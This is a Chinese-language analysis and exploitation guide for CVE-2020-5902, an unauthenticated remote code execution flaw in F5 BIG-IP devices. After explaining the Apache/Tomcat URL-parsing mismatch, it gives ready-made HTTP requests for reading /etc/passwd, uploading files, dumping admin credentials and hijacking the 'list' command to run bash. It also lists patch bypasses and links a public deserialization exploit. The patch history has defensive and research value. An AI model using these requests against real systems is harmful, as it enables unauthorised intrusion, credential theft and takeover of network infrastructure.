F5-BIG-IP未授权RCE(CVE-2020-5902)
字数 1263 2025-08-25 22:59:09
F5 BIG-IP未授权RCE漏洞(CVE-2020-5902)深度分析与利用指南
1. 漏洞概述
F5 BIG-IP是F5公司制造的一款多功能网络设备,可作为流量控制系统、负载平衡器、防火墙、访问网关等。CVE-2020-5902是一个存在于BIG-IP设备中的严重漏洞,允许攻击者绕过认证并实现远程代码执行(RCE)。
2. 影响版本
- F5 BIG-IP < 15.1.0.4
- F5 BIG-IP < 14.1.2.6
- F5 BIG-IP < 13.1.3.4
- F5 BIG-IP < 12.1.5.2
- F5 BIG-IP < 11.6.5.2
3. 漏洞原理
3.1 架构分析
F5 BIG-IP设备前端采用Apache接收用户请求,后端可同时处理PHP和Java程序。处理Java程序时,通过AJP协议将Apache接收的数据封装并流转给Tomcat。
关键配置位于/etc/httpd/conf.d/proxy_ajp.conf:
ProxyPassMatch ^/tmui/(.*\.jsp.*)$ ajp://localhost:8009/tmui/$1 retry=5
ProxyPassMatch ^/tmui/Control/(.*)$ ajp://localhost:8009/tmui/Control/$1 retry=5
ProxyPassMatch ^/tmui/deal/?(.*)$ ajp://localhost:8009/tmui/deal/$1 retry=5
ProxyPassMatch ^/tmui/graph/(.*)$ ajp://localhost:8009/tmui/graph/$1 retry=5
ProxyPassMatch ^/tmui/service/(.*)$ ajp://localhost:8009/tmui/service/$1 retry=5
ProxyPassMatch ^/hsqldb(.*)$ ajp://localhost:8009/tmui/hsqldb$1 retry=5
3.2 漏洞成因
漏洞源于Apache和Tomcat对URL解析的差异:
- Apache处理
/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp时,认为处理的是/tmui/login.jsp文件 - Tomcat处理时会先去除
; /之间的字符,然后将路径规范化
这种解析差异导致权限校验被绕过,攻击者可以访问后台功能代码。
4. 漏洞利用
4.1 未授权任意文件读取
请求示例:
GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: 192.168.43.115
Connection: close
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xml
4.2 未授权任意文件上传
请求示例:
POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: 192.168.43.115
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 35
fileName=/tmp/1&content=id
4.3 未授权命令执行
命令执行需要满足两个条件:
- 第一个指令必须是
create、delete、list或modify - 不能包含特殊字符:
& ;\ ' " | * ? ~ < > ^ ( ) [ ] { } $ \n \r`
利用步骤:
- 获取admin用户账号密码:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin
- 修改alias劫持list命令为bash:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+/cli+alias+private+list+command+bash
- 执行bash文件:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/xxx
- 还原list命令:
/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list
4.4 利用hsqldb反序列化
通过hsqldb反序列化可执行任意Java代码,利用代码已公开在GitHub:
https://github.com/Critical-Start/Team-Ares/tree/master/CVE-2020-5902
5. 补丁与绕过
5.1 初始补丁
禁止路径中有..;符号:
<LocationMatch "\.\.;">
Redirect 404 /
</LocationMatch>
5.2 第一次绕过
使用http://vulnsite/hsqldb;/绕过
5.3 第二次补丁
禁止路径中有;符号:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
5.4 第二次绕过
使用http://vulnsite/hsqldb%0a绕过
5.5 最终补丁
禁止路径中有;符号和hsqldb字符串:
<LocationMatch ";">
Redirect 404 /
</LocationMatch>
<LocationMatch "hsqldb">
Redirect 404 /
</LocationMatch>